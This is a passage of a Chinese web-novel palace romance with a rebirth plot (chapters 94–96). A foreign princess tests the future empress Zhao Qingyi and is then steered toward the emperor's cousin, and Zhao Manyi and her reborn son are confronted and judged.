银月公主对赵清仪的印象瞬间跌入谷底,忽然她想起什么,“把今日求见本公主的那个女乞丐带上来。” 最初那乞丐找上门时,侍卫要将人赶走,孰料那女乞丐张口便说自己清楚宸华县主的底细,吊足了银月公主的胃口,她便让人将那乞丐带进来,关在柴房里,眼下正好叫出来盘问盘问。 赵漫仪被月翎使臣关起来后,身上的疯癫感平静许多,被侍卫带到银月公主跟前时,她当即跪下磕头,道明自己的身份。 银月公主起初并未将一个乞丐当回事,但当她听赵漫仪说自己曾是宸华县主的堂妹,她明媚的脸庞闪过一丝讶然,又上下打量赵漫仪几眼。 婢女阿依颇有眼力见,适时附耳同她低语几句。 银月公主脸上的诧异很快化为了然。 赵漫仪跪在地上,隐约察觉到对方看自己的眼神多了*一丝嫌恶。 “你说你与宸华县主相识,本公主凭什么信你?” 银月公主操着一口流利的官话,若非赵漫仪做过那个梦,都不敢相信眼前之人会是月翎国的公主。 西域人的相貌与大梁人多少有些区别,但眼前女子容貌只是更为精致,又穿着大梁服饰,瞧着和大梁女子没什么区别。 赵漫仪并不清楚银月公主的底细,她生母是大梁人,所以生得与大梁人差不多。 赵漫仪的梦并不详尽,印象最深刻的只有骏哥儿,记得骏哥儿最后考中状元,而她诰命加身时的无比喜悦。 那种感觉太真实了,以至于赵漫仪坚信那不仅仅是梦,或许它真的发生过,又或许是上天给她的预兆,要她务必坚持活下去,千万不要心灰意冷,她的好日子在后头。 可惜如今的骏哥儿和梦里不一样了,骏哥儿与她生出嫌隙,一出庄子便趁她不注意跑了,她猜测骏哥儿会去找赵清仪。 既然赵清仪要抢她的状元儿子,她就要去给赵清仪添堵。 所以当她听说赵清仪要做皇后了,便循着那个梦的记忆找到银月公主的落脚点,想撺掇对方使绊子。 她了解赵清仪,当初骄傲到容不下自己与李彻苟且,若得知和亲公主的存在,怕是会恶心到吃不下饭。 所以赵漫仪千方百计也要到银月公主跟前露脸,她没有将时间浪费在解释上,公主信不信她不打紧,只说自己可以帮助公主达成所愿。 “公主此行的目的,不就是为了嫁入大梁皇室么?但公主可知,那赵清仪善妒成性,她在一日,陛下便不可能娶第二个女人。” 银月公主嗤笑一声,“如此说来,你有法子?” 赵漫仪一心想着整垮赵清仪,压根没听出对方话语里的讥讽。 直到银月公主身边的婢子掩唇讥笑,“听说当初赵家三小姐就是靠着与人苟合嫁给姐夫,她的法子,不会又是什么下三滥手段吧?” 话音落,银月公主咯咯娇笑。 只剩跪在地上的赵漫仪,脸色一阵青一阵白。 而银月公主的笑意不达眼底,她是深宫里长大的女人,赵漫仪存的心思她能不清楚? 无非是这二人有过节,想利用自己给那未来皇后添堵罢了。 敢利用她堂堂公主,是不想活了。 月翎使团此行的目的是为了与大梁交好,不是来树敌的,这女乞丐为一己私心,将主意打到她头上,也不知该说这人是坏还是蠢。 银月公主忍耐着听完了赵漫仪所谓的“计策”,终于是厌倦了,手指在半空随意一点。 “来人,捉住她,本公主要送大梁皇后一份大礼。” 第94章 第94章这种偷偷摸摸的感觉……… 赵清仪是在第二日夜里收到这份礼的,檀月小心翼翼打开,发现里面居然是一张秀气精美的弓,还有一身水红色襦裙。 好奇怪的礼。 檀月开始核对单子,想看看是谁家送来的,却什么也查不到。 正巧孟氏来探望女儿,正在屋里与赵清仪叙话,听到婢子疑惑的声音,过去瞧了一眼,脸色顿时沉下。 孟氏虽为妇人,可她出身皇商,见识不浅,只一眼就认出了那张弓,是西域的样式,然而最令她生气的是那身衣裙。 在西域某些小国有条不成文的规矩,先进门的妾室将来是要给主母绣嫁衣的,对方先送一张西域的弓表明身份,又附上这身水红色衣裙,赤.裸裸的挑衅,这是等着赵清仪将来回赠她大红嫁衣么? 真是来者不善。 孟氏三言两语解释清楚,俏月气得拍桌,“这公主真是不要脸,此事定要上报陛下!” “且慢。”孟氏阻止她,“挑衅倒是其次,据我所知,月翎使臣后日抵京,这公主却提前到了,又无半点消息,谁知道她还想做什么。” 当务之急,是把这个要紧消息送到。 赵清仪觉得以楚元河的谨慎,大概那公主刚踏入上京那一刻,就被无数双眼睛盯住了,不过她还是顺着孟氏的话,“女儿这就进宫。” 她如今脾气越来越差了,平白无故受了和亲公主的挑衅,她得找那罪魁祸首发泄出来。 楚元河得知赵清仪深夜入宫,白日的疲惫一扫而空,整个人来了精神,催促福贵快些将人带来。 算起来,他有整整两日没见到他的般般了,都说一日不见,如隔三秋,他都隔六个秋了,想念得很。 赵清仪入殿时,宫人们自觉退下,人一走,她便毫不客气过去按住楚元河的肩头,在他唇上咬了一口。 力道不小,顷刻将他的唇咬出一道口子,腥甜的血腥味瞬间蔓延开来。 楚元河眉头都不曾皱一下,仍是面带浅笑,“受什么委屈了?” “你还好意思问,不是说你能处理好吗?怎么我还收到银月公主送的礼了?”赵清仪气鼓鼓的,翦水秋瞳般的杏眸圆瞪。 楚元河意味深长的“哦”了声,他也是刚得到消息,“那晦气东西烧了便是,看她不顺眼,就不要搭理。” “后日使臣入殿觐见,届时她们提出和亲,你怎么办?” 赵清仪真急了,这几日不知是不是该来癸水了,脾气极不稳定,一点就着,这是此前从未有过的,若是之前,她才不会在意这种小事。 “绝无可能。”楚元河举起手信誓旦旦,顿了顿,他的眼神变得幽邃,“……我会不会娶和亲公主,你难道不清楚吗?” 他的话问得别有深意。 赵清仪愣了愣,对方就这么直勾勾迎上她的目光,似有意引导让她想起什么。 楚元河盯了她半晌,见她还是茫然的样子,舒展的眉眼渐渐拢起,正色严肃道,“看来上辈子,你对我真是毫不关心啊。” 上辈子赵清仪好歹也活到了三十六岁,他这个皇帝有没有女人她不清楚?娶没娶和亲公主她不知道? 赵清仪呼吸一窒。 她似乎从来没说过自己重生的事。 可他居然知道了?什么时候的事? 但旋即赵清仪就反应过来,楚元河又在转移话题! 她双手捧住对方的脸,“你不要顾左右而言他。” 楚元河高举双手,“行,般般想知道什么,我如数交代。” 楚元河不敢隐瞒她任何事,便将自己的打算和盘托出,他派人查过,银月公主喜欢相貌俊美的男子不假,但更偏好有男子气概的,他觉得皇室之中,有人比他更合适。 又摸了摸自己的脸,“我是生得好看,但我只有帝王之气,什么男子气概,那是榻上的事,除了你,旁人可见识不到……” 赵清仪没心情同他调笑,闻言半信半疑。 楚元河所想之人,不会是那个胡子拉碴的平西郡王吧? 那相貌确实粗犷,勉强算有几分显而易见的男子气概,可……银月公主喜欢长得俊的,楚天霸怎么看也和这个字不搭边。 楚元河挑了挑眉,不置可否。 喜不喜欢,试一试不就知道了,他已经安排楚天霸后日一早出面迎接使臣。 人都是先入为主的,只要银月公主先相中楚天霸,他只管赐婚就行,若是没相中也不打紧,毕竟上一世他就拒绝了和亲,惹得月翎汗王羞恼不已,结果同年,月翎国就被他带兵教训了一顿。 不仅没能向大梁借到兵马,还被大梁打得落花流水险些亡国,好在大梁的目的在于互通商贸,并不想赶尽杀绝。 面对大梁皇帝的气势汹汹,月翎汗王哭着答应下来…… 所以一切皆源于绝对的实力,楚元河有信心不受任何人的胁迫,达到目的的方式永远不止一种。 但看赵清仪这副如临大敌的样子,楚元河暗自不爽,这说明前世赵清仪一点儿都不在意他,但凡赵清仪在意过,了解过,就不该是这副样子。 区区月翎国算什么,能让她急成这样? 楚元河环住赵清仪的细腰瞬间位置调换,他将赵清仪压在龙椅上,眼眸微眯,“你前世……当真没在意过我?” 对上他的眼睛,赵清仪便知今夜逃不开这个话题了。 “我……” 她张了张嘴,这要怎么解释呢? 她前世确实没在意过楚元河,她又不知道曾经在西北救她一命的平西郡王就是他,更不知这男人早早就觊觎自己。 可这话如实说来,太过扎心,赵清仪不忍伤他,于是垂眸,做出伤心落寞的样子,“前世这个时候……我在为父亲母亲守孝……” 那时她痛失至亲,一夜之间从贵女沦为孤女,还深陷李家这个泥沼不能自拔,谁会在意当今陛下娶了谁。 这下轮到楚元河不知所措了,他真该死啊,哪壶不开提哪壶。 “都是我的错,是我不该说那些话伤你的心。”楚元河抱着她轻声安抚。 赵清仪没忍住噗呲笑出声,前世已成过眼云烟,那些伤痛也在当下渐渐治愈,她只觉得满足,方才的伤心样子是装出来的。 结果楚元河就上当了,那副忏悔懊恼的样子着实有趣。 男人怔愣片刻后,便知自己被逗弄了,二人又闹作一团。 赵清仪忙躲开,跑出两步就被男人打横抱起,一同跌入床帐里。 楚元河手脚并用将她困住,嬉皮笑脸道,“这是般般第二回主动入宫寻我,快让我瞧瞧这衣衫下,是不是又藏了什么惊喜?” 赵清仪答应做他的皇后了,二人又回到当初的如胶似漆,对彼此的渴望心知肚明,见面了少不得纠缠一番。 只是楚元河故意逗她,借着宽衣的机会,时不时挠她腰侧的软肉,一挠赵清仪就痒得发笑。 一边笑一边喘气,“好痒,你手拿开。” 楚元河像是发觉了什么有意思的事,到处挠她,发现赵清仪不仅腰侧怕痒,脚底心也怕痒,且一挠就笑个不停。 紫宸殿内传出女子上气不接下气的娇笑声,宛若银铃般清脆悦耳。 那是楚元河从未听过的笑声,愉悦畅快,毫不掩饰,渐渐的,他眼底也浮现两抹笑意,莫名的成就感袭上心头。 他果然是最适合般般的人,唯有在他这,才能见到那个肆意无忌鲜活的她。 赵清仪笑到肚子疼,终于想起要反抗了,又抬脚踹人,白皙如雪团的玉足却是踹入了男人的心窝里。 楚元河钳住她的脚踝,略施巧力一拽,将她拖到身下,顺势握住她另一只脚踝缠上自己的后腰。 赵清仪蓦地止住笑,小脸红扑扑的。 楚元河就这般居高临下望着她,眼神中的情愫快溺出来。 “要吗?”他问。 赵清仪都快习惯了他的假客气,“……我说不要,你会停吗?” 男人唇边扬起玩味的笑,言简意赅,“不会。” 他也能识破她的假矜持。 话落,强势闯入的同时俯首吻她,将她细碎美好的嘤咛尽数吃入腹中。 时辰尚早,殿外的宫人们却已默默屏退前来求见的人。 长公主站在距离紫宸殿一丈远的位置,听到寝殿内隐隐约约的动静,脸上震惊过后,忍不住揶揄,皇兄这手段…… 她轻咳一声,将拟好的单子交给福贵,接待月翎使臣的一应事宜她都安排好了,只需皇兄过目便可,之后便欢欢喜喜回去找她的驸马。 半个时辰后,楚元河唤人进去服侍,为赵清仪重新梳妆,准备送她回去。 最近因为月翎使臣到来,在宫闱内进出的大臣多不胜数,留赵清仪过夜容易被发现,传出去对她名声不好,所以今夜还算克制。 赵清仪却累得气喘吁吁,被楚元河亲自抱上轿辇,分别时,他又挤进狭窄的轿辇里,想和她再亲热一番。 “再闹天要亮了……”赵清仪小手抵住他的胸膛,如远山笼雾般的杏眸含着未退的春水。 她也颇有些意犹未尽,只是时机不允许。 楚元河喉头一紧,“那你还这样看我……” “……” 赵清仪是喜欢他迷恋自己的样子,但这话听着怎么就……怪怪的。 明明是他的问题! 赵清仪嗔他一眼,抬起酸软的腿,用足尖踢他,催他快走,她可不想在轿辇里和他发生什么,众目睽睽之下丢脸死了。 楚元河垂眸看她微微晃动的足尖,莫名的又兴奋了,隐匿在黑暗里的桃花眼熠熠生辉。 这种偷偷摸摸的感觉……真是叫人又爱又恨。 第95章 第95章“想干什么,你不知道?…… 银月公主静静等了整整一日,依旧没能从赵清仪身上得到任何回应,对方甚至没有派人来打探消息。 她还想着,若对方给予回应,或是气急败坏了,她就顺势抛出赵漫仪以作示好,再通过对方的反应了解更多。 然而,这宸华县主,未来的皇后,竟然直接冷待她,这让银月公主觉得更有意思了。 她如此挑衅,对方岿然不动,要么是沉得住气,等着将来收拾她,要么就是当真心胸开阔,有容忍之量。 银月公主更相信后者,在她看来,能母仪天下者岂会是凡人,至少同她能维持表面和气,如此银月公主也放下心来,将来一同入了宫,井水不犯河水就是。 两日后,月翎使团抵京,与银月公主汇合,一同前往午门等待大梁皇帝的召见。 彼时楚天霸就在金銮殿内议事,他被勒令修整仪容,此前引以为傲的须髯被剔得一干二净,露出他原本的相貌。 那是一张与楚元河有三分相似的脸,而这三分源于他轮廓分明的骨相,五官不如楚元河那般俊美妖异,却也是剑眉星目,仪表堂堂,又换上郡王朝服,瞧着少了往日的随意邋遢,终于有几分天潢贵胄的矜贵气度。 楚元河甚是满意,旁边一同议事的大人们也纷纷点头赞叹,他们都对陛下的“美男计”有所揣测,心里也是默默支持的。 只有楚天霸尚且蒙在鼓里,面对众人打量审视的目光,他拽着衣袖一脸难为情。 他还是喜欢他的大胡子,能少许多麻烦,如今收拾利索了,明显感觉别人看他的眼神不一样,这让楚天霸莫名心惊。 能别看了吗?让他当个透明人不行吗? 楚元河晓得他的个性,平日里看着邋里邋遢,五.大三粗,其实那性子…… 嗯,别扭,羞涩。 楚元河端坐高位,意味深长道,“今日你可要好好表现,务必让月翎使臣满意。” 楚天霸还不知自己即将被堂兄出卖,征战沙场磨炼出他有令必从的性子,忙挺直脊背朗声应是,又雄赳赳气昂昂地出了金銮殿。 他前脚刚走,楚元河后脚离开,他还不打算现在见月翎使臣,光是银月公主惹他般般不快这一点,他就准备晾到宫宴当日再见。 至于谈判的筹码,自然得多加一筹了,这是不尊重般般的代价。 这就苦了楚天霸,他率领礼部官员刚安顿好月翎使臣,对方就因得不到皇帝召见心生不满。 银月公主始终沉默,待使臣们的争吵声愈演愈烈时,她猛地一拍桌案,勒令使臣闭嘴。 把楚天霸都吓一大跳,但他面色不显,镇定地望着对方,看这和亲公主想耍什么花招。 银月公主上前两步,发觉眼前之人生得异常高大,丝毫不亚于她们月翎男儿,与之对话时,她甚至得仰起头来。 这一仰头,她的视线忍不住在对方脸上逡巡…… 没有胡子? 唔…… 看起来是不如他们月翎男儿粗犷,但……不影响对方是个周正俊朗的人。 银月公主不自觉勾起红唇,目光又从他脸上下移,掠过他明显隆起的喉结,以及衣襟下若隐若现的古铜色肌肤,最后落在那宽大朝服也不能完全掩盖的胸肌上。 银月公主眼角眉梢也开始微微上挑。 楚天霸:“……” 他本就不喜欢旁人审视自己,多看一眼他都觉得浑身难受,想寻个僻静角落躲起来,顾及他泱泱大国的颜面,楚天霸忍下转身就跑的冲动,只是浓黑的眉头已然拧成川字。 银月公主觉得他皱眉垂眸的样子更有韵味了,于是又离他近了一步,温和开口,“听说帝后即将新婚,烦请郡王代为传话,就说本公主有份贺礼,要亲自送于大梁陛下。” 她语气诚恳,认识她的都知道,这是她为数不多的好口气。 却只换来楚天霸冷冰冰的几个字,“陛下没空。” 银月公主唇边笑意骤然沉下,过去她可是一呼百应的嫡公主,到了大梁处处碰壁,谁敢拒绝她。 她气笑了,“行啊,那这份贺礼,本公主只好送给宸华县主了。” “且慢。”事关皇嫂,楚天霸立马换了态度,“……你等着。” 他咬牙说完,转身去找楚元河。 银月公主望着他离去的高大背影,红唇再度噙着上扬的弧度,这大梁皇室中人生得倒是不错,不知这陛下的容貌比之平西郡王又如何? 只是她这次的打算又落空了。 楚元河直接玩失踪。 楚天霸在宫里找了一圈也没能寻到人,黄内侍贴心嘱咐道,“陛下龙体抱恙,需得静养,这两日就辛苦郡王了。” 说这话时,素来见惯大风大浪的黄内侍都忍不住抹了把额汗。 谁敢信,陛下仅仅是因为嘴唇被县主咬破皮,便对外宣称龙体不适,好在早朝时离得远,朝臣们没瞧见罢了,不然估摸着转头就得说陛下矫情。 楚天霸只得硬着头皮回去,银月公主也不恼,似乎早有预料,陪同的使臣们倒是愤愤不平,他们公主如此主动示好,大梁皇帝未免太过目中无人。 可心里也清楚,人家有目中无人的本事,使臣只敢私下里抱怨几句。 银月公主又提出让楚天霸陪她逛上京城,领略大梁的风土人情,使臣本想跟随左右,被银月公主拒绝了。 “此乃大梁京城,天子脚下,何人敢冒犯本公主?况且平西郡王武艺高,有他在,定能保本公主安然无虞。”她瞟向楚天霸,冲他展颜一笑。 银月公主貌美,一番话又哄得楚天霸不知所措,他怔了怔,点了下头,算是默认。 皇兄交代了,要他务必看顾好月翎使臣。 二人一同上街,男俊女美,并肩而行,光看背影就很是登对。 银月公主对上京的一切充满好奇,婢女阿依贴心地提醒她哪些是最富盛名的铺子,主仆俩几乎一处不落逛了个遍,不到半个时辰,楚天霸怀里塞满了大包小包。 银月公主转眸看他,笑吟吟道,“听说这附近有个清韵茶楼很是不错,郡王可曾去过?” 楚天霸老实摇头,银月公主便领着他说要去见识一番。 掌柜瞧二人衣着不凡,定是富贵之人,忙招呼他们到楼上雅间,银月公主点名要天字一号,她是公主,向来只用最好的。 - 赵清仪收到楚元河的书信,最近她们时常用书信互诉衷肠,对方约她到清韵茶楼一见。 虽然不理解楚元河为什么不直接到宅子里寻她,反而将她约到此处,但还是准时赴约了。 过来时,就听得掌柜禀报天字一号雅间已被客人占用,本着生意为大,挣钱才是要紧事,她并未生气,让掌柜带她去隔壁雅间即可,孰料刚到楼梯口就听到雅间里传来的谈笑声。 女生娇俏,说着流利的官话,但依旧能从口音中分辨出与大梁人的区别。 赵清仪最近的心思格外敏感,她也说不上为何,只是听到那个女子的声音便下意识在意,兴许是因为前不久才得了月翎国的挑衅。 雅间里的,莫不是那位和亲公主? 她笑的那样开心,是和谁在一起? 楚元河? 算算时辰,他也该来了,难道真的是他? 思及此,赵清仪的心头咯噔一下,脚步不自觉放缓下来。 掌柜在前面领路,察觉身后之人脚步慢了,回头正要开口解释,赵清仪比了个噤声的手势。 她迈上最后一级台阶,雅间传出一声女子的惊呼,赵清仪的视线正好落在纱窗上,明显的两道身影,一男一女。 缀在后头的俏月掩唇不敢发出声音,因为那映在窗上的一男一女靠得极近,男子坐着,女子似乎坐在了对方的腿上,正环着对方的脖颈,二人身影交叠,姿势暧昧。 赵清仪感觉一股热血涌上头脑,如同疾风掠过掌柜身侧,一把推开雅间的门。 房门并未落闩,一推就开了,屋里的人再度受到惊吓,皆往门口的方向看去。 六目相对的一刹那,赵清仪尴尬得脸都红了,“抱歉……” 方才瞧身影,她居然以为是楚元河,推门进去才发现,那男子赫然是平西郡王楚天霸,而被她误会坐在他腿上的女子,身着红裙,容貌昳丽,应当就是那位前来和亲的银月公主。 楚天霸人都吓傻了,甚至忘了推开跌坐在他怀里的女人。 倒是银月公主反应及时,软绵绵地从他身上起来,如玉瓷般精致的小脸也泛着酡红。 她适才是故意跌倒的,为了试探楚天霸,试探的结果还算满意,是个正常男人。 先前听说楚天霸二十来岁还没娶妻,一度疑心他是不是身有隐疾,若真如此,她得慎重考虑和亲人选,如今试探完,彻底打消了她的顾虑。 高大魁梧,相貌俊美,身份不凡,手握兵权,又无隐疾,与她联姻再合适不过。 正巧婢女阿依从外头回来,看见有人闯进入打扰,当即柳眉倒竖,“你是何人?竟敢打扰我家公主!” 掌柜忙混在中间打圆场,听得赵清仪的身份后,阿依愕然,忍不住打量赵清仪。 银月公主亦然,原来她一直想见的宸华县主是这副样子,旋即她呵斥阿依不得无礼,主动邀赵清仪进来坐。 赵清仪哪里好意思,她扫了眼楚天霸,对方从脸红到耳朵根,眼看着快不行了。 “……不必了,打扰公主,是我失礼在先。”赵清仪识趣地退出去,还吩咐掌柜多上些好酒好菜招待着。 待房门重新关上,她长舒口气,如释重负。 既为自己生出的怀疑感到羞愧,又为先前的莽撞懊恼。 她算过来人,方才那情形……应该,不算太清白。 害得她都脸红不好意思了。 赵清仪捂着脸,转头进了隔壁雅间准备冷静冷静,没注意到掌柜脸上闪过的一丝促狭。 掌柜及时拦下俏月,没让她跟进去。 赵清仪脑子里还残存着先前撞见的那一幕,并未留心旁的,一进雅间就被人从身后抱住,惊得险些叫出声来。 “吓到了?”熟悉的男声响起,似乎还很愉悦,楚元河的大手捂着她的唇,待她紧绷的身子放松后才挪开手,在她白嫩的小脸上掐了一把。 赵清仪悬着的心落下,“总这样神出鬼没的,确实很吓人。” “这不是提前约你了么?”楚元河理直气壮,“除了我,还有第二个人同你这般亲近?” 赵清仪抵不住他的狡辩,转移话题问他隔壁什么情况。 楚元河忍笑道,“如你所见,她们好上了。” 赵清仪嘴角抽了抽,“所以你特意出宫一趟,约我来这,就是为了让我看这个?” “当然……不是。”楚元河语带笑意,顿了顿又道,“见你才是最要紧的,这个是顺便。” 顺便表表他的忠心,他绝不会对除般般以外的任何人有非分之想……旁人对他也不行,般般会吃醋。 偶尔醋一醋,显出般般对他的在意即可,过犹不及,这个分寸他向来拿捏极好。 赵清仪又问他银月公主怎么就和楚天霸看对眼了,简直匪夷所思,她们才相处不到一日,她觉得银月公主的眼光不低才是。 不是说平西郡王不好的意思,而是月翎汗王,他最期望的结果是让银月公主嫁给大梁皇帝,可眼下…… “银月公主不傻,这一路她听了许多消息,知道帝后情笃,即便她嫁入宫中,没有帝王的宠爱她也得不到多少好处,可楚天霸不同。” 楚天霸不曾娶妻,她嫁过去就是正妃,且楚天霸手里有兵权,月翎国此行最要紧的就是借兵。 如此说来,赵清仪也能理解银月公主的选择,只是她担忧,“郡王是武将,手握兵权,让他娶异族公主为妻,真的合适吗?” 楚元河挑眉,“既然要做交易,自然要拿出诚意。”楚天霸那边固然有兵权,但还不至于危及大梁。 用人不疑,他从不疑心这个傻堂弟。 正事告一段落,楚元河掌心抵住门框,将她圈在狭窄的方寸间,绕有兴致端详她红着脸,蹙眉沉思的模样,趁她不注意,啄了下她的唇。 赵清仪又惊醒,“想干什么?” “想干……什么你不知道?” 【正文完】 第96章 第96章她居然…就这…… 赵清仪品着这话,怀疑他又在逗自己,小手抵住他俯靠而来的胸膛,“这里不行……” 之前他们在这儿听过墙角,隔音不好。 所以面对他的亲近,赵清仪如临大敌。 楚元河闷笑出声,在她秀气的鼻尖一刮,“我就亲一下,你想到哪里去了?” 说好就亲一下,结果亲着亲着倒是上了榻。 “……” 赵清仪吻得喘不过气,那粗粝的大掌还在肆意游走,刻意撩动她的心弦。 她就知道,这人亲密时从来说话不算话。 不过他吻得舒坦,赵清仪便也丧失了抵抗,就在那骨节分明的修长大手将要没入裙衫下时,雅间的门撞开了。 这下轮到赵清仪不知所措,整个蜷缩进男人怀里。 楚元河俊美的面庞有杀气掠过,恶狠狠朝打搅者睨去。 银月公主讪笑两声,刚跨进来的一只脚默默退了出去,“打扰了……” 她以为这里只有赵清仪一个人,谁曾想…… 原来这看似端庄的宸华县主,未来的大梁皇后和自己在某些方面还挺相似。 门重新关上,银月公主后知后觉反应过来,等等,屋里抱着那个县主的那个男人! 他是谁?大梁皇帝? 不是说病了吗? 她又折返回去,这次礼貌十足,先敲门,响了两声过后,雅间里的男人很是不耐烦,“……滚!” 已经猜到了对方的身份,银月公主收敛神色,轻咳一声,“在下月翎国嫡公主,不知可否请县主一见?” 来都来了,她还有大礼没送出去呢,虽说她如今改变主意打算嫁平西郡王了,可该讨好的不能落下。 若是与这备受荣宠的未来皇后打好关系,来日于月翎国也是百利无一害的。 赵清仪从楚元河怀里下来,整理好衣裙后过去开门,互相见礼。 银月公主含笑相邀,“县主若不嫌弃,到我那儿坐坐?”她那里茶酒好菜一应俱全。 借着说话的功夫,飞快扫了赵清仪身后一眼,雅间干净整洁,却空荡荡的,除了一个男人并无其他,目的不在吃吃喝喝。 可见她方才的确打搅了人家的好事。 楚元河黑着脸出来,将赵清仪护在身后,明显不喜欢她的接近。 银月公主只好道明来意,“赵漫仪在我手里,要如何处置此人,该由县主说了算。” 隔了许久,再听到这个名字,赵清仪还有些微愣,旋即是淡然。 银月公主本就是为了卖个人情,自然没有隐瞒,将赵漫仪如何找到自己,又如何撺掇她给赵清仪添堵,事无巨细讲明。 上回在钱塘,赵清仪光顾着要紧事,江员外一死就没管过赵漫仪,若对方就此离开,走得远远的,她也不会事后算账特意派人去寻。 可自己送上门找死就不一样了。 楚元河观察她的神色,对她的决定了然于胸,让银月公主把人带过来,几人先在天字一号雅间侯着。 楚元河无疑是在场几人中最自在的那个,楚天霸则坐在银月公主身侧,低着头依旧可见他通红的耳根。 银月公主直来直往,当场与楚元河提起和亲的事,她决定好了,要嫁平西郡王,口中说着是自己嫁给郡王,但那语气却像是她要娶亲似的。 赵清仪默默吃茶旁观。 在银月公主落落大方的衬托下,楚天霸一个孔武有力的大男人,竟显得娇羞不已。 不是说银月公主喜欢有男子气概的么…… 楚元河并未立刻答应银月公主,而是看向楚天霸,想听听他的意见,当然,也只是听听而已,不一定采纳。 楚天霸支支吾吾半晌,不知如*何开口,他觉得太快了,可方才他被人家占了便宜,不负责似乎又不太好。 雅间内气氛诡异。 赵漫仪被月翎国的侍卫押上来时,身上穿的还是那身又脏又破的里衣,头发乱糟糟的,嘴里堵了汗巾,一直在挣扎呜咽,被侍卫一脚踹中膝窝,跪倒在赵清仪面前。 她仓皇间抬眸,对上那双清凌凌的眸子,整个人吓得往后瑟缩。 赵清仪要做皇后了,现在抓住自己,肯定没她好果子吃,她还没找回骏哥儿,她不要死。 楚元河皱眉,“斩草要除根,她不是还有个儿子么?” 天子脚下,没有秘密,骏哥儿从庄子上逃走的消息他以知晓,人在何处,也在掌控之中。 一听这话,赵漫仪呜咽更厉害了,也不逃了,跪在赵清仪面前砰砰磕头,她被堵了嘴说不出话,只能通过磕头求情,希望他们能放过骏哥儿。 赵清仪冷眼瞧着,不发一言。 不多时,有禁军哗啦啦涌入清韵茶楼,副统领林锋亲自提着一个孩童上楼,将人丢在赵漫仪身边。 李骏人还是懵的,他好端端走在路上,就一伙禁军围住,二话不说提着他就走。 他还没缓过神来,赵漫仪泪眼汪汪,激动不已地扑过去,骏哥儿,她的骏哥儿回来了! 她眼睛四下乱瞟,想看宝贝儿子可有受伤,见他全须全尾的,除了单薄瘦削之外,并无伤痕,一颗心稍稍安定。 可李骏推开了她,他已经看到赵清仪了,隔了一世,他还是一眼认出了面前的养母。 他板板正正跪好,朝赵清仪磕头,磕磕巴巴唤道,“母、母亲……” 赵漫仪瞬间僵住,难以置信地瞪大眼睛,天都塌了。 骏哥儿居然当着她这个亲娘的面,喊赵清仪为母亲? 便在此时,有人取出她口中的汗巾,她张口就骂,“你个不孝子,我才是你亲娘!” 李骏没搭理她,甚至没有多看她一眼,眼眶红红地望着端坐在眼前的年轻妇人。 他终于见到前世的母亲了,较他梦里见到的还要年轻貌美,也更显雍容华贵,那气势不是简单的高门主母,已经隐隐有母仪天下的皇后气度了。 逃离赵漫仪的这几日,他在京中流浪乞讨,已经听说嫡母要做皇后的消息,他快高兴疯了。 嫡母做了皇后,那他岂不是皇后的养子? 就算只是养子,那也是多少人比不了的高贵身份,他巴结都来不及。 “母亲,骏哥儿知错了,还望母亲宽宏大量,饶恕骏哥儿从前的过错。”他声泪俱下地忏悔,说他往后会好好侍奉在嫡母身侧,努力读书科举,为嫡母脸上添光。 前世的错他全都会改,他如今悔悟了,他要做个好人,要做嫡母的好儿子。 李骏很庆幸自己做了那个梦,让他有机会重新改变人生,改变嫡母的人生,这一世他再不会做下那等子糊涂事,他要给嫡母养老送终,要在嫡母身边赎罪。 李骏絮絮叨叨说了许多,情真意切,说到他自己都泪流满面。 而赵清仪只有听到“赎罪”二字时,脸上略有动容,却也只是一瞬。 她了然了,为何骏哥儿前后转变这般大,才四五岁的孩子,就能如此冷静理智地弃了生母不顾,转而向自己示好,原来,他也重生了啊。 是记起上辈子的事,再对比这一世,终于察觉到她曾经的良苦用心了么? 又或是直接点,是看她要做皇后了,巴巴逃出来当她儿子。 赵清仪唇边漾起嘲弄的笑,是看她没有亲生孩子,所以又把主意打到她身上,又想来吸一遍血,再把她利用个彻彻底底。 不愧是李彻的种,天生的凉薄寡义,六亲不认。 再看赵漫仪,她怜悯之余,毫不掩饰自己的幸灾乐祸,仿佛在说,看啊,看看你的好儿子,你心心念念的骏哥儿,原来是个六亲不认的小畜生。 他哪里是来认娘,是来认权势地位的。 赵漫仪听得心都凉了,整个人如坠冰窟,含泪斥骂骏哥儿为何要如何待她,哭诉自己这一生为他所受的委屈。 如果不是为了让骏哥儿有个名正言顺的嫡子身份,当初她怎会让李彻抱他回京?怎会一心让赵清仪过继这个孩子? 又怎会在后来忍受这么多委屈,自甘下贱给李彻做妾? 她明明可以做正妻的,只等赵清仪死了,李彻就会八抬大轿娶她过门,可她为了骏哥儿,为了照顾他忍下来了,被罗氏被李彻算计后,还是嫁进李家做妾。 这些骏哥儿是一句不提,只记得她被迫躲到钱塘的事,还觉得她是去钱塘享福的,殊不知在钱塘的每一日,她都在想办法如何把骏哥儿接到自己身边来。 “……你可知为娘为了你,受了多少欺负?” 江家倒后,她还是没找到骏哥儿,这才冒死又来上京,如果没有这个孩子,她早就带着金银细软逃到一个没人认识她的地方,舒舒服服过自己的日子。 可就是心有牵挂,她不顾死活都要回来,却在路上遭人抢劫欺辱,无数次她想着死了算了,但一想到骏哥儿,想到他还那么小就没爹没娘,多可怜啊。 所以她没有自尽而亡,忍辱负重至今,全是为了骏哥儿! “你怎么能这样对我?我是你娘,我怎么可能不要你,又岂会害你?”赵漫仪捂着胸口痛哭。 李骏好像没听见似的,看向她的眼神冷漠至极,仿佛只是在看一个不相关的陌生人。 赵漫仪崩溃了,她的愤恨无处发泄,可她至今依旧舍不得对骏哥儿动手,骂得最多的只有一句“不孝子”。 归根结底,一切的不幸皆因赵清仪。 她开始骂赵清仪,骂她不知廉耻,骂她抢她丈夫又抢她儿子,俏月上去就是两巴掌,“污言秽语,舌头是不想要了!” 教训完,俏月的小心脏还在砰砰跳,她将来可是皇后的贴身侍女,不能辱没了主子,气势得拿出来,所以这两巴掌用尽了力气,打得赵漫仪嘴角流血,头晕眼花。 饶是如此,李骏依旧没有关心过她只字片语。 楚元河嗓音轻飘飘的,“既然你还惦记你那丈夫,就去陪他吧。” 他打算待帝后大婚时,赐李彻一个五马分.尸,毕竟当初李彻自己发过毒誓,绝不行差踏错,若违此誓,身首异处,不得好死。 五马分.尸的车裂之刑正好适合李彻。 如今赵漫仪又来了,就让她们这对狗男女一起上路,黄泉路上也不寂寞。 禁军来抓人时,赵漫仪又疯癫得大喊大叫,那块汗巾重新堵了回去,雅间内总算恢复平静。 至于那个孩子…… 楚元河呷了口茶,静待赵清仪的决定。 她只有淡淡的一句话,“你不要喊我母亲,我只认过骄儿一个养子。” 